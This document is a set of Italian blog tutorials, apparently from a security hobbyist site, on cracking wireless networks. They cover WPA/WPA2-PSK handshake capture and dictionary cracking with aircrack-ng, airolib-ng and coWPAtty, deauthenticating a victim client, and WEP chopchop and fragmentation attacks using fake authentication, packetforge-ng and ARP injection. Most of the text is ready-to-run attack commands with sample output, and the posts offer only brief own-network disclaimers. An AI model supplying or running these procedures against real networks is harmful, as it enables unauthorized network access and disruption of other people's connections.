Adesso che abbiamo finito il nostro lavoro eliminiamo la cartella “update” dalla nostra home:

———
cd /root
rm -r update
———

Spero di essere stato utile a qualcuno,
ciauz!

Ciao a tutti,
oggi ho ricevuto una mail di brigante~ con linkati alcuni thread sul forum di Remote-Exploit.org iniziati da alcuni tra gli utenti più attivi nello scrivere tutorial e a spiegarci il funzionamento dei tools messi a disposizione da BT3. I thread non mi erano nuovi e considerato che il WPA si appresta a diventare lo standard di sicurezza delle reti WiFi ho pensato di scrivere questo piccolo how-to sul cracking di reti WPA/WPA2 PSK seguendo i thread di -=Xploitz=-, theprez98 e shamanvirtuel presenti su remote-exploit.org.

Affronteremo i diversi approcci al cracking WPA/WPA2 PSK in ordine, analizzando prima l’utilizzo della sola suite di tools Aircrack-ng, poi l’utilizzo di coWPAtty e infine un loro utilizzo combinato. La base comune di tutti questi tutorial è quella di possedere un handshake valido tra il client e l’AP.

Partiamo dalla catturta dell’handshake e alla sua verifica.
Come sempre settiamo l’interfaccia wireless che useremo in monitor mode sul canale dell’AP:

——————————–
airmon-ng start wifi0 11
——————————–
Dunque utilizziamo airodump-ng il lock mode sul canale dal quale trasmette l’AP e facendo modo che filtri solo suo traffico impostando un filtro MAC:
——————————–
airodump-ng –bssid 00:1c:10:90:86:7f –channel 11 -w handshake ath0
——————————–
A differenza del cracking del protocollo WEP, dove per effettuare con successo il cracking non era strettamente necessario individuare un client connesso via wirelss all’AP poichè anche il traffico generato da un client via cavo poteva essere utilizzato, nel cracking WPA dobbiamo per forza avere almeno un client connesso o comunque rimanere in ascolto con airodump-ng fino a che non se ne connette uno.
La necessità di avere un client connesso nasce dal fatto che il cracking WPA è sostanzialmente un brute-force su un pacchetto di autenticazione confrontando l’hash di questo con quello generato da noi, quindi gli unici pacchetti che dobbiamo ottenere sono quelli in fase di handshake tra AP e client senza preoccuparci del traffico in transito sull’AP.
Quando otterrete un handshake valido, Airodump-ng vi informerà della cattura facendo apparire nella sua finestra, in alto a destra, una scritta simile a questa “[ WPA handhsake: 00:1c:10:90:86:7f".
Se non si connette nessun client durante lo sniffing possiamo deautenticarne uno gia connesso cosi che si riconetta generando i 4 pacchetti che compongono l'handshake, usiamo Aireplay-ng per forzare la disconnessione del client vittima:

--------------------------------
aireplay-ng -0 10 -a 00:10:1c:90:86:7f -c 00:19:d2:3b:91:85 ath0
--------------------------------
Ottenuto l'handshake controlliamo che questo sia effettivamente valido con wireshark, quindi aprimo il file generato da airodump-ng con wireshark (Menu-->Backtrack-->Privilege Escalation-->Sniffers-->Wireshark) e controlliamo di aver catturato un handshake completo.

----------------------------------------------------------------------

Per cercare più facilmente i pacchetti relativi all'handshake inserite nella casella filtro la parola "eapol". I pacchetti devono essere in tutto 4, 2 in partenza dall'AP verso il client, e 2 dal client all'AP. Dall'esempio potete vedere che i pacchetti compresi tra il 575 e il 578 rispecchiano le 4 fasi che compongono l'handhsake WPA, e in particolare:

575 --> l'AP inizia l'handshake; nell'etichetta "802.1X Authentication" vedrete una voce chiamata "Replay Counter" settata a 1

576 --> il client risponde al primo pacchetto inviatogli dall'AP, anche qui il replay counter è settato a 1
577 --> ancora è l'AP a iniziare la seconda fase dell'autenticazione, in questo caso il replay counter è settato a 2
578 --> il client a sua volta risponde, il replay counter è 2

In pratica abbiamo 2 coppie di invio/risposta tra AP e client con lo stesso "replay counter".

Cracking

Visto che si tratta di bruteforcing, partiamo dal recuperare una wordlist per il nostro scopo.
Per il tutorial inseriremo in una wordlist, scaricata dal box del blog, la chiave WPA della nostra rete, cosi da eseguire il tutorial senza troppi problemi; teniamo presente che una wordlist per essere "funzionante" non ha solo bisogno di essere grande, ma anche "adatta" allo scenario; per questo tutorial userò una wordlist molto corta per velocizzarne l'esecuzione di prova.

Dirigiamoci sul box del blog (in alto a destra) e scarichiamo da qui una wordlist, per i test ho utilizzato questa. Quindi scompattiamola con il comando:
-----------------
gunzip -d junk.gz
-----------------
e editiamola inserendo al suo interno la password della nostra rete in questo modo:
--------------------
cat >> junk << "end"
>-=m0r3l337k3y=-
>end
--------------------

ovviamente al posto di "-=m0r3l337k3y=-" dovete inserire quella che è la vostra password WPA, quindi stoppate cat inserendo la parola "end"(senza virgolette!).

[AIRCRACK-NG]
Ora iniziamo con il primo metodo di cracking utilizzando esclusivamente Aircrack-ng con la wordlist creata:

————————-
aircrack-ng -w junk -b 00:1c:10:90:86:7f handshake*.cap
————————-

———————————————————————-

-=Xploit=- ha fatto un video tutorial, il link è a questo post del forum di remote-exploit.org

[AIROLIB-NG]
Adesso andremo ad utilizzare un’altro metodo di cracking che sfrutta Airolib-ng per creare un database con al suo interno le password precomputate con l’ESSID della vostra rete, in questo modo Aircrack-ng velocizzerà il lavoro di cracking.
Prima di tutto specifico che per proseguire dovete avere installato SQLite3, se state usando BT3 non avete problemi, è installato di default. Per chi non avesse SQLite3 installato, può installarlo tramite il modulo creato da balding_parrot scaricabile da qui. Installato SQLite3 è necessario installare la versione di Aircrack-ng in fase di sviluppo, qui sul wiki di Aircrack-ng ci sono delle istruzioni dettagliate.

A questo punto passiamo a creare il nostro database con Airolib-ng:
————————-

airolib-ng wpaTestDB init
————————-
Con questo comando andremo a creare un database chiamato “wpaTestDB“. Ora creiamo la lista di ESSID con cui fare il salt delle password, per semplicità e velocità creiamo un file con all’interno solo il nome della nostra rete:
————–
nano essid.txt
————–
un volta aperto il file con nano (se non esiste il file quest’ultimo verrà creato in automatico) inseriamo al suo interno il nome della nostra rete, nel mio caso “trinacria“.
Quindi salviamo premendo “F2” e rispondiamo con “y” seguito dal tasto enter per salvare.
Adesso inseriamo la lista di ESSID presenti nel file appena creato nel database con il comando:
——————————-

airolib-ng wpaTestDB import ascii essid essid.txt
——————————-
e subito dopo le password:
——————————-

airolib-ng wpaTestDB import ascii passwd junk
——————————-
Ora procediamo con una pulizia del database in modo che vengano eliminate tutte le chiavi non valide rendendolo cosi più veloce e leggero:
——————————
airolib-ng wpaTestDB clean all
——————————
Adesso creiamo le PMK computando password con essid, tutto questo è fatto in automatico da Airolib-ng con il comando:
————————–
airolib-ng wpaTestDB batch
————————–

il tempo impiegato dipende dalla quantità di password inserite e dal numero di essid (1 nel nostro caso) oltre che dal sistema in vostro possesso.
Se volessimo essere sicuri di essere riusciti a creare un database senza errori possiamo utilizzare l’opzione “verify“; in questo modo Airolib-ng effettua una verifica volta ad eliminare ogni PMK che riscontra non valida, il comando per eseguire la verifica:
——————————-
airolib-ng wpaTestDB verify all
——————————-
se voleste controllare solo un numero random di chiavi non specificate l’opzione “all“.
Non ci resta che recuperare la chiave WPA con Aircrack-ng usando il database crerato da Airolib-ng al posto della sola wordlist:
——————————–

aircrack-ng -r wpaTestDB handshake-01.cap
——————————–

———————————————————————-

Ancora una volta -=Xpoitz=- ha spiegato tutto producendo un’ottimo video, trovate il link leggendo questo post del forum di Remote-Exploit.org

[COWPATTY]
Non resta che provare con un’altro strumento a nostra disposizione, coWPAtty. In BT3 per lanciare coWPAtty 4.0, quello usato da theprez98 in questo post che si trova su Remote-Exploit.org, dovete andare nella cartella /pentest/wireless/cowpatty-4.0/ e lanciarlo da qua dentro con ./cowpatty.
Anche con coWPAtty possiamo utilizzare metodi diversi, incominciamo sviluppando l’hash della password in tempo reale durante il cracking:

———————–
./cowpatty -f junk -r handshake-01.cap -s “trinacria”
———————–

oppure possiamo precalcolare l’hash con genpmk e poi utilizzarlo con coWPAtty:
—————–
genpmk -f junk -d hashGenpmk -s “trinacria”
—————–

e quindi recuperare la password fornendo in input l’hash, l’hanshake e l’ESSID della rete:
——————
./cowpatty -d hashGenpmk -r handshake-01.cap -s “trinacria”
——————

———————————————————————-

Seguendo il post di shamanvirtuel ho scoperto che Airolib-ng ha tra le vari funzioni anche quella di esportare l’hash gia computato di un determinato ESSID con la nostra wordlist in un file che possa essere letto da coWPAtty, in questo modo abbiamo la possibilità di gestire un database di hash con Airolib-ng e utilizzare coWPAtty per recuperare la chiave; il comando per esportare solo gli hash di un determinato ESSID e password è:
——————–

airolib-ng wpaTestDB export cowpatty “trinacria” airoexport
——————–
come vedete specifichiamo il database su quale lavorare (wpaTestDB) l’ESSID da esportare (trinacria) e il nome del file che andremo a generare (airoexport). Adesso con coWPAtty possiamo recuperare la nostra chiave:
——————–

./cowpatty -d airoexport -s “trinacria” -r hanshake-o1.cap
——————–

[AGGIORNARE "wpaTestDB"]

Aggiornare il database con Airolib-ng è possibile, in questo modo potete aggiungere di volta in volta password o essid al vostro database senza perdere cio che avevate già computato prima.
Verifichiamo lo stato del nostro database:
————————–
airolib-ng wpaTestDB stats
————————–

in questo modo avremo per output l’elenco degli ESSID inseriti (trinacria) e la percentuale di PMK generate con le password inserite (100.0). Ora aggiungiamo un nuovo ESSID al database, quindi cancelliamo il file essid.txt creato prima e creiamone un’altro con all’interno l’ESSID da aggiungere (possiamo aggiungerne anche più di uno alla volta):
——————-

airolib-ng wpaTestDB import ascii essid essid.txt
——————-

Adesso proviamo a verificare ancora lo stato del nostro database e guardiamo il risultato:

Come potete vedere l’ESSID è stato aggiunto (essidAGGIUNTO) ma ancora non è stato computata nessuna PMK con questo ESSID (0.0); appunto ora comptiamo le chiavi con l’opzione batch e verifichiamo lo stato del database:

Adesso il database è computato al 100%!!

Cosa utilizzare di ciò che ho scritto e in che circostanza penso si possa capire solo con la pratica, io non mi sono fatto un’idea generale. Per farsi un’idea migliore bisogna fare più prove e porgere attenzione alla tempistica di ogni passaggio, magari provando wordlist di dimensioni diverse, tanto sperimentare non fa mai male!

Per concludere vi ricordo che dovete sperimentare tutto quello che ho scritto su una rete di vostra proprietà, non intendo prendermi nessuna responsabilità dell’uso che farete di quanto descritto.

Introduzione

Rieccoci a parlare di WEP cracking , e questa volta lo faremo descrivendo l’ attacco di tipo “KoreK chopchop“.

Come nel precedente tutorial non intendo prendermi nessun merito per quello che scriverò, tutto è stato già spiegato sul sito Aircrack-ng.org , in particolare nei tutorial di darkAudax, inoltre ricordatevi che penetrare in una rete wireless non di vostra proprietà è un reato, provate quanto descritto sulla vostra rete o su una rete dove avete i permessi per provare il tutorial. Non mi prendo nessuna responsabilità sull’uso che farete delle tecniche descritte.

L’attacco “KoreK chopchop” è un attacco che non recupera la chiave WEP , ma il keystream necessario per creare un pacchetto da inniettare nella rete per creare il traffico necessario al cracking della chiave WEP. Inoltre rivela il pacchetto WEP da cui parte l’attacco in chiaro.

A volte capita di sperimentare l’attacco contro Access Point che “droppano” pacchetti inferiori ai 60 bytes , in questo caso l’attacco non funziona perchè non riusciremo a generare il keystream; mentre se l’ AP incomincia a rifiutare i pacchetti solo quando la dimensione è inferiore ai 42 bytes (il mio souter ad esempio non accetta i pacchetti inferiori ai 37 bytes) possiamo provare l’attacco, infatti Aireplay-ng tenterà di “indovinare” la porzione di dati mancanti per quanto siano prevdedibili dall’ header.

Nel caso in cui fosse catturato anche un pacchetto IP , “Aireplay-ng” controllerà che la porzione di pacchetto predetta sia corrretta analizzandone il checksum in corrispondenza al pacchetto IP catturato. Per ulteriori informazioni su come questo tipo di attacco funzioni vi rimando a questi due link:

- chopchoptheory -

- chopchop -

Affronteremo 2 tipi di scenari questa volta:

1° scenario:

Nel primo caso parleremo di come effettuare un attacco di questo tipo quando non vi sono client connessi via wireless.

2° scenario:

Nel secondo scenario descriveremo lo stesso metodo di cracking in una rete dove sono presenti anche client connessi via wireless.

I requisiti comuni sono:

Access Point
MAC=00:0F:CC:xx:xx:xx
Protezione=WEP
ESSID=mare
Channel=7

Attaccante
MAC=00:02:6a:xx:xx:xx
Driver=Madwifi-ng
Aircrack-ng 1.0 beta1 r857 (funziona anche con l’utlima versione stabile)

Requisiti 1° scenario

Pacchetti dati in transito sull’AP

Requisiti 2° scenario

Client connesso via wireless
MAC=00:15:00:xx:xx:xx
IP=192.168.1.33

Per iniziare settiamo la nostra interfaccia di rete in monitor mode sulla stessa frequenza di trasmissione dell’AP.

Apriamo un terminale e digitiamo:

airmon-ng start wifi0 7

Il sistema risponderà:

-------------------------------------------------------------------------------------
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
-------------------------------------------------------------------------------------

Controlliamo di avere la nostra scheda wireless settata in monitor mode sulla frequenza del canale dell’AP con il comando:

——–
iwconfig
——–

riceveremo come output i parametri della nostra interfaccia wireless e verifichiamo che sia in “monitor mode” e che la frequenza corrisponda a quella di trasmissione del canale, per controllare che la frequenza sia giusta andate a questa pagina.
Ora rimane da verificare se siamo abbastanza vicini all’AP per poter comunicare con esso.

Da terminale digitiamo:

——————-
aireplay-ng -9 ath0
——————-

e controlliamo che la risposta del sistema confermi la possibilità di fare injection sull’ AP vittima. Proseguiamo solo quando siamo sicuri che l’injection funzioni e che sia possibile comunicare con l’AP.

Adesso, come ultimo passo comune ai due scenari, avviamo Airodump-ng per catturare il traffico in transito sull’AP. Apriamo un terminale e digitiamo:

———————————————————————-
airodump-ng --bssid 00:0F:CC:xx:xx:xx --channel 7 --write capture ath0
———————————————————————-

le opzioni che usiamo sono:
–bssid 00:0F:CC:xx:xx:xx filtra solo il traffico proveniente da questo AP
–channel 7 ci mettiamo in ascolto solo su questo canale (quello dall’AP)
–write capture salva il traffico catturato nel file specificato
ath0 è la nostra interfaccia wireless in monitor mode

Lasciamo che Airodump-ng rimanga in funzione per tutta la durata del tutorial e analizziamone l’output, questo sarà differente a seconda dello scenario.

[Scenario 1]

Nell’output di Airodump-ng noteremo che non sarà presente nessun client wireless connesso.

(cliccate sull’immagine per ingrandirla)

Controlliamo che vi sia del traffico sull’AP nella colonna “Data”, senza traffico non possiamo effettuare nessun tipo di cracking della chiave WEP.

Adesso procediamo con lo svolgere una falsa autenticazione con l’AP; questa andrà a buon fine solo nel caso in cui l’AP accolga ogni richiesta di associazione, cioè che usi un metodo di autenticazione di tipo “OPEN”, nel caso usi l’autenticazione tramite “Pre Shared Key” il tentativo di falsa autenticazione non andrà a buon fine ma non vi preoccupate che in uno dei prossimi tutorial tratteremo anche questo argomento.

Useremo Aireplay-ng per tentare l’autenticazione con l’AP. Quindi apriamo un terminale e lanciamo “Aireplay-ng”:

———————————————————————–
aireplay-ng -1 0 -e test -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx ath0
———————————————————————–

le opzioni usate significano:
-1 0 è l’opzione che specifica una falsa autenticazione
-e test specifica l’ESSID dell’AP vittima
-a 00:0F:CC:xx:xx:xx è il MAC dell’AP
-h 00:02:6a:xx:xx:xx è il MAC address usato della nostra scheda
ath0 è la nostra interfaccia wireless

Se l’operazione avrà successo otterremo come output nella shell di “Aireplay-ng”:

--------------------------------------------------------------------------
16:21:57 Waiting for beacon frame (BSSID: 00:0F:CC:xx:xx:xx) on channel 7

16:21:57 Sending Authentication Request (Open System) [ACK]
16:21:57 Authentication successful
16:21:57 Sending Association Request [ACK]
16:21:57 Association successful
————————————————————————–

Se non dovessimo fidarci di “Aireplay-ng” possiamo verificare che l’autenticazione sia riuscita usando “TCPdump”, lanciato prima di “Aireplay-ng” possiamo usarlo per controllare che ci siano tutti e 4 i pacchetti necessari per l’handshake dell’autenticazione WEP. Quidni se vlogliamo prima di “Aireplay-ng” apriamo un’altro terminale e lanciamo “TCPdump” con il comando:

—————————————————————————————-
tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:20:6a:xx:xx:xx|Authentication|ssoc)"
—————————————————————————————-

Notate che ho inserito il MAC della nostra interfaccia wireless con la qualestimao tentando una falsa autenticazione. Quindi lanciamo “Aireplay-ng” con il comando descritto prima e controlliamo che appaiano nel terminale di “TCPdump” i 4 pacchetti necessari per l’autenticazione con l’AP, 2 di autenticazione e 2 di associazione. Questo passaggio non è fondamentale al cracking della chiave WEP ma è ottimo per capire come funzioni un’autenticazione WEP.

Torniamo al tutorial sull’attacco “KoreK chopchop“.

Una volta autenticati, sempre con “Aireplay-ng”, inziamo con l’attacco al protocollo WEP vero e proprio. Da terminale digitiamo:

————————————————————-
aireplay-ng -4 -h 00:20:6a:xx:xx:xx -b 00:0F:CC:xx:xx:xx ath0
————————————————————-

dove le opzioni usate significano:

-4 indica il tipo di attacco, in questo caso il “KoreK chopchop”
-h 00:02:6a:xx:xx:xx è l’indirizzo MAC usato in fase di fake auth
-b 00:0F:CC:xx:xx:xx è l’indirizzo MAC dell’AP
ath0 è la nostra interfaccia di rete

In sostanza questo specifica all’attacco che tutti i pacchetti che verranno inviati da “Aireplay-ng” per determinare il keystream di un pacchetto WEP saranno inviati avendo per source MAC quello specificato dall’opzione “-h”, ovviamente questo è il MAC con il quale ci siamo autenticati con l’AP, altrimenti, come al solito, i pacchetti che invieremo saranno respinti dall’AP poiché non ne riconosce la provenienza. L’output del terminale sarà:

quindi controlliamo che la dimensione del pacchetto catturato sia superiore ai 68 bytes (altrimenti potremmo non avere abbastanza porzione di PRGA per generare il keystream, generalmente più grande è il pacchetto e meglio è, perchè cosi abbiamo più dati a disposizione da elaborare e le probabilità di successo aumentano) e rispondiamo positivamente con la lettera “y” quindi lasciamo che l’attacco svolga il suo corso (provate a guardare cosa succede durante l’attacco analizzando la finestra di Airodump-ng). Ricordate che non vi sono client connessi via wireless, quindi questo pacchetto proverrà da una macchina connessa via cavo o dall’ AP, nel caso provenga dall’AP troveremo il flag “FromDS” settato a 1 altrimenti, se proviene da un client connesso via cavo, il flag impostato a 1 è quello “ToDS”.
Una volta terminato vi troverete 3 file nuovi:

1° il pacchetto catturato all’inizio dal quale parte l’attacco
1° un pacchetto “.xor” contenente l’intero keystream
1° un pacchetto WEP in chiaro

Il pacchetto “.xor” è quello che useremo per creare la richiesta ARP da inietare nella rete per generare i pacchetti che invieremo al fine di generare del traffico utile al cracking della chiave WEP.
Da terminale adesso usiamo “Packetforge-ng” per creare il pacchetto da iniettare, digitiamo:

------------------------------------------------------------------------------------------------------------------------------------------------
packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:02:6a:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-1226-162902.xor -w ARPPacket.cap
------------------------------------------------------------------------------------------------------------------------------------------------

e le opzioni in questo caso significano:

-0 significa che vogliamo creare un pacchetto ARP
-a 00:0F:CC:xx:xx:xx è il MAC dell’AP
-h 00:02:6a:xx:xx:xx è il MAC usato in fase di fake-auth
-k 255.255.255.255 è l’indirizzo IP di destinazione
-l 255.255.255.255 è l’indirizzo IP sorgente
-y replay_dec-1226-162902.xor è il file contente il keystream
-w ARPPacket.cap è il nome del file di output

Prima di procedere sottoliniamo una cosa:

Gli indirizzi specificati dai parametri “-k” e “-l”, entrambi 255.255.255.255, vanno bene per molti AP, quindi nella maggior parte dei casi, se non in tutti i casi che vi si proporranno, il lavoro di creazione del pacchetto ARP può essere limitato a quello descritto sopra, ma tenete conto che tramite l’analisi del pacchetto in chiaro creato dall’attacco “chopchop” possiamo risalire all’indirizzo IP della macchina connessa via cavo, ovviamente tutto ciò è possibile solo nel caso riuscissimo ad ottenere un pacchetto diretto o proveniente da essa. Usando l’IP della macchina connessa via cavo e un IP non assegnato nella LAN (provate con 10.255.255.255) nei parametri “-k” e “-l” forzeremo l’AP a generare 2 pacchetti per ogni pacchetto che iniettiamo nella rete, questa tecnica è descritta tra i tutorial di Aircrack-ng.org e si tratta di “ARP amplification”; in pratica si riduce drasticamente il tempo che impieghiamo per sniffare i pacchetti dati WEP che usiamo per il cracking della chiave. Descriverò questa tecnica in un prossimo tutorial.

Da qui in poi i tutorial coincidono, quindi saltate direttamente alle fasi conclusive di questo documento se non siete interessati a sapere come comportarvi nel caso in cui ci sia un client connesso via wireless.

[Scenario 2]

In questo caso nell’output di airodump-ng noteremo che c’è un client connesso via wireless

Quindi se state eseguendo questo tutorial con una scheda wireless che monta un chipset della Atheros dovete stoppare la scheda e cambiare il MAC della stessa in modo che coincida con quello del client associato, poiché altrimenti il driver madwifi-ng non funzionano, reimpostare la scheda in monitor mode sul canale di trasmissione dell’AP e rilanciare “Airodump-ng” come descritto sopra.
Notate che nel caso ci fosse un client connesso via wireless non occorre nesun tipo di falsa autenticazione, sfrutteremo il client già connesso per portare a termine l’attacco.

Adesso usiamo “Aireplay-ng” per iniziare l’attacco:

----------------------------------------
aireplay-ng -4 -h 00:15:00:xx:xx:xx ath0
----------------------------------------

le opzioni usate significano:

-4 indica il l’attacco “KoreK chopchop”
-h 00:15:00:xx:xx:xx è il MAC del client target
-ath0 è la nostra interfaccia di rete

Ecco un esempio di output:

Rispondiamo positivamente alla scelta del pacchetto controllando che la dimensione dello stesso sia uguale o superiore agli 86 byte, anche in questo caso più grande è il pacchetto e meglio è , anche se più è grande il pacchetto e maggiore sarà il tempo richiesto per conseguire l’attacco, altrimenti premiamo “n” e aspettiamo che ci capiti un pacchetto migliore con il quale lavorare. Controllate che il pacchetto provenga dal client wireless associato, ci servirà per determinarne l’indirizzo IP.
Scelto il pacchetto non ci resta che aspettare che l’attacco svolga il suo corso. Alla fine ci troveremo con 3 file nuovi:

1 è il pacchetto catturato all’inizio dal quale parte l’attacco
1 è un pacchetto “.xor” contenente l’intero keystream
1 è un pacchetto WEP in chiaro

Quindi usiamo “Wireshark” o “TCPdump” per ottenere l’indirizzo IP del client connesso via wireless analizzando il pacchetto WEP in chiaro. Potrebbe essere necessario fare più di un tentativo primo di trovare un pacchetto che contenga l’IP del client connesso via wireless, quindi se non riuscite al primo colpo riprovate.

Adesso andiamo a creare il pacchetto ARP usando “Packetforge-ng“:

--------------------------------------------------------------------------------------------------------------------------------------------
packetforge-ng -0 -a 00:0F:CC:xx:xx:xx -h 00:15:00:xx:xx:xx -k 192.168.1.33 -l 10.255.255.255 -y replay_dec-1226-173127.xor -w ARPPacket.cap
--------------------------------------------------------------------------------------------------------------------------------------------

dove:

-0 indica che vogliamo creare un pacchetto ARP
-a 00:0F:CC:xx:xx:xx specifica il MAC dell’AP
-h 00:15:00:xx:xx:xx è l’indirizzo a cui è destinato il pacchetto
-k 192.168.1.33 è l’IP del client target
-l 10.255.255.255 è l’indirizzo IP sorgente, deve essere un indirizzo NON assegnato, in genere 10.255.255.255 funziona
-y replay_dec-1226-173127.xor è il ile contenete il keystream creato da “Aireplay-ng” precedentemente
-w ARPPacket.cap è il file di output

Cosi facendo abbiamo creato un pacchetto ARP indirizzato al client connesso via wireless, inoltre se controllate con “Wireshark” il file “capture” generato da “Airodump-ng”, noterete che in questo modo costringeremo l’AP a generare 3 pacchetti per ogni nostro pacchetto inviato, questa è una tecnica di “ARP amplification”.

[Fase finale]

A questo punto non ci resta che usare “Aireplay-ng” per iniettare il pacchetto creato nella rete:

————————————
aireplay-ng -2 -r ARPPacket.cap ath0
————————————

dove:

-2 indica il tipo di attacco interattivo, ci permette di scegliere il file da usare
-r ARPPAcket.cap specifica il file che abbiamo intenzione di usare
ath0 è la nostra interfaccia di rete

Raggiunto il numero di pacchetti necessari per il cracking della chiave usiamo “Aircrack-ng” per recuperarla:

————————————————
aircrack-ng -z -b 00:0F:CC:xx:xx:xx capture*.cap
————————————————

dove le opzioni significano:

-z il tipo di attacco PTW
-b 00:0F:CC:B4:08:48 è il MAC dell’AP
capture*.cap è il file dove “Airodump-ng” sta salvando il traffico sniffato.

Tenete presente che con circa 100000 pacchetti dovreste essere in grado di recuperare una chiave WEP da 128 bit senza difficoltà.

Spero di esservi stato utile.

Ciauz,

PinguinoNinja

Con quest’ articolo dò il benvenuto nel mio piccolo ma impegnato e rispettoso staff a PinguinoNinja , lui non riteneva necessaria la pubblicazione dell’ How-To.. , ma io sì , e con questo tutorial glì dò quindi il mio benvenuto! brigante~

Quest’ How-To lo potete scaricare se volete anche dal Box , in cui lo troverete in *.pdf.….buona lettura.

Questo tutorial spiega come recuperare una chiave WEP di una rete wireless con un attacco a frammentazione. Non intendo prendermi nessun merito per quello che scriverò visto che tutto è già stato spiegato sul sito Aircrack-ng.org in particolare da darkAudax in questi 2 tutorial:

—————>How to crack WEP with no wireless clients

—————>How to crack WEP via a wireless client

[REQUISITI]

Una rete wireless per sperimentare il tutorial, configurata in modo che utilizzi crittografia WEP a 64 o 128 bit, con autenticazione OPEN e il broadcast dell’ESSID attivato.
Un PC dotato di interfaccia wireless con dei driver patchati per l’injection; su questo pc deve anche essere installato aircrack-ng in maniera corretta e funzionante.Sul sito Aircrack-ng[www.aircrack-ng.org] ci sono le istruzioni per installare il programma e i driver. Il primo passo del tutorial sarà quello di controllare se tutto è stato installato correttamente.
Dovete essere abbastanza vicini all’AP per permettervi di trasmettere e ricevere i pacchetti.
Sull’AP devono esserci in transito dei “data packets“, vedremo come verificarlo.

[SCENARIO]

Access Point
MAC address = 00:C1:10:xx:xx:xx
ENC = WEP 128 bit
ESSID = test
Channel = 11

Laptop
MAC address ath0 = 00:02:A6:xx:xx:xx
Driver = Madwifi-ng

[SVOLGIMENTO]

Per prima cosa dobbiamo settare la nostra interfaccia wireless in monitor mode sulla stessa frequenza nella quale trasmette l’AP; possiamo farlo tramite airmon-ng. Apriamo un terminale e digitiamo:

——————————————–
airmon-ng start wifi0 11
——————————————–

Il sistema risponderà:

————————————————————————————-
Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
————————————————————————————-

Significa che è stata creata l’interfaccia ath0 in monitor mode, quindi srà questa che andremo ad usare per il nostro attacco.
Per confermare che tutto sia andato per il verso giusto sempre da terminale digitiamo:

———
iwconfig
———

otterremo un’output simile a questo:

—————————————————————————–
lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:”" Nickname:”"
Mode:Monitor Frequency:2.462 GHz Access Point: 00:02:A6:xx:xx:xx
Bit Rate:0 kb/s Tx-Power:31 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-88 dBm Noise level=-88 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
—————————————————————————–

Notate l’etichetta “Mode” che segnala “Monitor” e la frequenza “2.462 GHz“; per verificare che la frequenza corrisponda realmente a quella del canale di nostro interesse potete andare a questa pagina, cliccate su “WiFi Ch. Selection” e controllate che sia corretta.

Ora controlliamo se i driver sono stati installati correttamente. Useremo aireplay-ng, scriviamo:

——————–
aireplay-ng -9 ath0
——————–

e controlliamo la risposta del sistema:

——————————————————–
xx:xx:xx Trying broadcast probe requests…
xx:xx:xx Injection is working!
xx:xx:xx Found 1 AP

xx:xx:xx Trying directed probe requests…
xx:xx:xx 00:C1:10:xx:xx:xx – channel: 11 – ‘test’
xx:xx:xx Ping (min/avg/max): 1.624ms/22.416ms/47.329ms
xx:xx:xx 24/30: 80%
——————————————————–

Proseguite solo se avete conferma che tutto sia funzionante, altrimenti provate ad reinstallare i driver della scheda.
Il prossimo passo è quello di aprire airodump per catturare solo il traffico in transito “da e verso” il nostro access point, questo ci permetterà di recuperare informazioni necesarie al cracking della chiave WEP , quindi usiamo airodump-ng con filtro per BSSID e per canale:

———————————————————————–
airodump-ng –bssid 00:C1:10:xx:xx:xx –channel 11 –write capture ath0
———————————————————————–

dove:
–bssid 00:C1:10:xx:xx:xx è il MAC dell’AP
–channel 11 è il canale di trasmissione dell’AP
–write capture indica che il traffico è salvato nel file “capture”
ath0 è la nostra interfaccia wireless in monitor mode

A questo punto analizziamo la situazione che ci si presenterà dopo aver dato questo comando:

———————————————————————————–
CH 11 ][ Elapsed: 8 s ][ xxxx-xx-xx xx:xx

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C1:10:xx:xx:xx 44 100 92 0 0 11 48 WEP WEP test

BSSID STATION PWR Lost Packets Probes
------------------------------------------------------------------------------------

Come potete notare non vi sono client connessi alla nostra rete target, in questo caso dovremo autenticarci con l'ap attraverso una falsa autenticazione. Per effettuare useremo aireplay-ng, apriamo un'altro terminale, per permettere ad airodump-ng di continuare a catturare il traffico, e digitiamo:

------------------------------------------------------------------------
aireplay-ng -1 0 -e test -a 00:C1:10:xx:xx:xx -h 00:02:A6:xx:xx:xx ath0
------------------------------------------------------------------------

dove:
-1 0 indica che stiamo tentando una falsa autenticazione
-e test è il nome della rete wireless
-a 00:C1:10:xx:xx:xx è l'indirizzo MAC dell'AP
-h 00:02:A6:xx:xx:xx è l'indirizzo della nostra interfaccia di rete
ath0 è la nostra interfaccia di rete

Se l'attacco va a buon fine il risultato sarà:

--------------------------------------------------------------
xx:xx:xx Waiting for beacon frame (BSSID: 00:C1:10:xx:xx:xx)
xx:xx:xx Sending Authentication Request
xx:xx:xx Authentication successful
xx:xx:xx Sending Association Request
xx:xx:xx Association successful
--------------------------------------------------------------

A questo punto stoppiamo airodump e rilanciamolo, ora avremo un client connesso (noi!):

----------------------------------------------------------------------------------
CH 11 ][ Elapsed: 16 s ][ xxxx-xx-xx xx:xx

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C1:10:xx:xx:xx 44 100 163 60 0 11 48 WEP WEP OPN test

BSSID STATION PWR Lost Packets Probes

00:C1:10:xx:xx:xx 00:02:A6:xx:xx:xx 51 0 18
-----------------------------------------------------------------------------------

Essere associati all'AP è essenziale per il nostro fine, altrimenti non accetterà i pacchetti che andremo ad inviargli in seguito.
